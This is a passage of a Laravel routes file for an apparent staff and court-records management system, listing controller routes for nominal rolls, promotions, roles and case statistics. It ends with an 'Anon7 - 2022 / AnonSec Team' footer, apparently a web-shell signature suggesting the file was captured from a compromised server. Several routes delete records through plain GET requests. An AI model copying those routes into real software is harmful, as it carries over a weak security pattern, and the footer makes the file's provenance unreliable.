    Route::post('/bulk-transfer/cancel',                'BulkFileMovementController@cancel');

    Route::get('/bulk-transfer/get-temp',               'BulkFileMovementController@tempGet');
    Route::post('/bulk-transfer/delete-temp',           'BulkFileMovementController@deleteTemp');


    //retirement Alert
    Route::get('/retirement/alert',                'RetirementAlertController@retirementAlert');
    Route::post('/retirement/alert',                'RetirementAlertController@search');

    //division covered
    Route::get('/division/covered',      'DivisionCoveredController@index')->name('assignUserDivision');
    Route::post('/division/covered/add',      'DivisionCoveredController@store');
    //Delete Division
    Route::post('/user/devision/remove',      'DivisionCoveredController@destroy');
    //Get all division for this user
    Route::post('/user/all-divisions', 'DivisionCoveredController@getUserAllDivision');
    Route::get('/user/all-divisions', 'DivisionCoveredController@getUserDivision')->name('getUserDivision');


    //});

    //promotion period
    Route::get('promotion-period', 'PromotionPeriodController@index');
    Route::post('promotion-period/add', 'PromotionPeriodController@store');
    Route::get('promotion-period/activate/{id}', 'PromotionPeriodController@update');

    //LGA covered
    Route::get('/lga/covered',   'LgaCoveredController@index');
    Route::post('/lga/covered',  'LgaCoveredController@getLgaState');
    Route::get('/clear-all',     'LgaCoveredController@clear');
    Route::post('lga/covered/add', 'LgaCoveredController@store');
    Route::get('lga/covered/remove/{lgaId}', 'LgaCoveredController@destroy');
    Route::post('lga/covered/edit', 'LgaCoveredController@update');

    //Add Title
    Route::get('/title', 'AddTitleController@index');
    Route::get('/title/remove/{ID}/{title}', 'AddTitleController@destroy');
    Route::post('/title/update', 'AddTitleController@update');
    Route::post('/title/add', 'AddTitleController@store');

    //Company Profile
    Route::get('/company-profile', 'CompanyProfileController@index');
    Route::post('/company-profile/update', 'CompanyProfileController@update');

    Route::get('/employment-percentage', 'EmploymentPercentageController@index');
    Route::post('/employment-percentage/update', 'EmploymentPercentageController@update');

    //certificate uploads
    Route::post('/upload-certificate/',                'CertificatesController@uploadAttachment');
    Route::post('/edit-certificate/',                'CertificatesController@editAttachment');
    Route::get('/delete-certificate/{id}/{id2}',   'CertificatesController@deleteAttachment');
    Route::get('/qualification/update/{id}',        'CertificatesController@EducationQualifications');
    //Route::post('/qualification/updates',         'CertificatesController@EducationQualifications');

    Route::get('/test/per',        'TestController@test');


    ////////////////////////////////////////ROLE AND PERMISSION/////////////////////////////////////////////
    //Module and SubModule Set up
    Route::get('/create-route-module',                            'RolePermissionController\ModuleController@createRouteModule')->name('createModule');
    Route::post('/create-route-module',                           'RolePermissionController\ModuleController@saveModule')->name('addModule');
    Route::get('/remove/module/{id?}',                            'RolePermissionController\ModuleController@removeModule')->name('removeModule');
    Route::get('/edit/module/{id?}',                              'RolePermissionController\ModuleController@editModule')->name('editModule');
    Route::get('/cancel-module-editing',                          'RolePermissionController\ModuleController@cancelEditModule')->name('cancelEditModule');
    //SubModule and SubModule Set up
    Route::get('/create-route-submodule',                         'RolePermissionController\SubModuleController@createRouteSubModule')->name('createSubModule');
    Route::post('/create-route-submodule',                        'RolePermissionController\SubModuleController@saveSubModule')->name('addSubModule');
    Route::get('/remove/submodule/{id?}',                         'RolePermissionController\SubModuleController@removeSubModule')->name('removeSubModule');
    Route::get('/edit/submodule/{id?}',                           'RolePermissionController\SubModuleController@editSubModule')->name('editSubModule');
    Route::get('/cancel-submodule-editing',                       'RolePermissionController\SubModuleController@cancelEditSubModule')->name('cancelEditSubModule');
    //Role and Permission
    Route::get('/create-update-role',                             'RolePermissionController@createRole')->name('createRole');
    Route::post('/create-update-role',                            'RolePermissionController@saveRole')->name('saveRole');
    Route::get('/remove-role/{id?}',                              'RolePermissionController@removeRole')->name('removeRole');
    Route::get('/edit-role/{id?}',                                'RolePermissionController@editRole')->name('editRole');
    Route::get('/cancel-role-editing',                            'RolePermissionController@cancelEditRole')->name('cancelEditRole');
    Route::get('/assigning-submodule-to-role',                    'RolePermissionController@createSubmoduleToRole')->name('createSubmoduleAssignment');
    Route::post('/assigning-submodule-to-role',                   'RolePermissionController@saveSubmoduleToRole')->name('postSubmoduleAssignment');
    Route::get('/assigning-role-to-user',                         'RolePermissionController@createRole');
    Route::post('/assigning-role-to-user',                        'RolePermissionController@assignRoleToUser')->name('assignRoleToUser');
    ////////////////////////////////////////END ROLE AND PERMISSION/////////////////////////////////////////////

    //breif
    Route::get('/generate/brief',                 'BriefController@index');
    Route::get('/promition/brief/{fileNo}',      'BriefController@preview');
    Route::post('/add',                         'ProposePositionController@addProposePosition')->name('add-propose-position');


    //Routes For Appointment documents upload
    Route::get('/appointment-documents', 'AppointmentDocumentsController@index');
    Route::post('/appointment-document/get-staff', 'AppointmentDocumentsController@getStaff');
    Route::post('/appointment-document/upload/{staff?}', 'AppointmentDocumentsController@store');


    //Nominal roll routes
    Route::get('/nominal-roll',                                      'NominalRollController@nominalRoll');
    Route::get('/nominal-roll2',                                      'NominalRollController@nominalRoll2');
    Route::get('/judges-nominal-roll',                                      'NominalRollController@judgesNominalRoll');
    Route::post('/judges-nominal-roll',                                      'NominalRollController@judgesSearchNominalRoll');
    Route::get('/nominal-roll/division',                              'NominalRollController@divisionNominalRoll');
    Route::post('/nominal-roll',                                      'NominalRollController@searchNominalRoll');
    Route::post('/export/softcopy',                                      'NominalRollController@softcopy');

    //nominal roll
    Route::get('/nominal-roll/form',             'NominalRollController@create');
    Route::post('/nominal-roll/form',             'NominalRollController@save');
    Route::get('/nominal-roll/edit/{id}',         'NominalRollController@edit');
    Route::post('/nominal-roll/edit',             'NominalRollController@update');
    Route::post('/get/lga',                         'NominalRollController@queryLGA');
    Route::post('/staff-approval/comment',       'NominalRollController@approveStaff');

    Route::get('/uploaded-nominal',                                      'NominalRollController@uploadedNominalRoll');
    Route::get('/upload/nominal',                                      'NominalRollController@nominalUpload');
    Route::post('/upload/nominal',                                      'NominalRollController@uploadNominal');

    Route::post('/uploaded-nominal',                                      'NominalRollController@searchNominalRollUploaded');

    Route::get('/staff-update',                                      'NominalRollController@updateStaff');
    Route::post('/staff-update',                                      'NominalRollController@updateNominalRoll');
    Route::get('/staff-update/{id}',                                      'NominalRollController@updateStaffSingle');

    Route::get('/staff-list',                                      'NominalRollController@staffList');
    //designation and cadre
    Route::get('/designation/cadre-list',                                      'DesignationController@index');
    Route::post('/save-designation',                                      'DesignationController@save');
    Route::post('/edit-designation',                                      'DesignationController@update');
    Route::post('/delete-designation',                                      'DesignationController@delete');
    Route::any('/uploaded-cadre',                                      'NominalRollController@uploadCadre');

    Route::get('/directory-list',                                      'NominalRollController@directory');

    //Directory Module
    Route::post('/directory-create',                                      'DirectoryController@create');
    Route::post('/directory-edit',                                      'DirectoryController@edit');
    Route::get('/directory-delete',                                      'DirectoryController@delete');
    Route::get('/directory',                                      'DirectoryController@index');

    Route::get('/preview/idcard/{id?}',                                      'NominalRollController@previewIDCard');
    Route::post('/get-lga',                                      'NominalRollController@getLGA');

    Route::get('/inactive/staff',                                      'NominalRollController@inactive');
    Route::post('/inactive/staff',                                      'NominalRollController@inactiveSearch');

    Route::any('/approval-staff',                                      'NominalRollController@approvalStaff');
    Route::get('/delete/approval-staff/{id}',                                 'NominalRollController@delete');

    Route::get('/case-statistics',                                      'CaseStatisticsController@index');
    Route::post('/case-statistics',                                      'CaseStatisticsController@store');
    Route::get('/view/case-statistics',                                      'CaseStatisticsController@viewCaseStatistics');
    Route::post('/view/case-statistics',                                      'CaseStatisticsController@searchCaseStatistics');
    Route::get('/edit/case-statistics/{id?}',                                      'CaseStatisticsController@edit');
    Route::post('/edit/case-statistics',                                      'CaseStatisticsController@update');
    Route::get('/search/staff/{q?}',                                      'NominalRollController@autocompleteStaff');


    Route::get('/clear-cache', function () {
        $exitCode = Artisan::call('cache:clear');
        return "Cache is cleared";
    });
});

Anon7 - 2022
AnonSec Team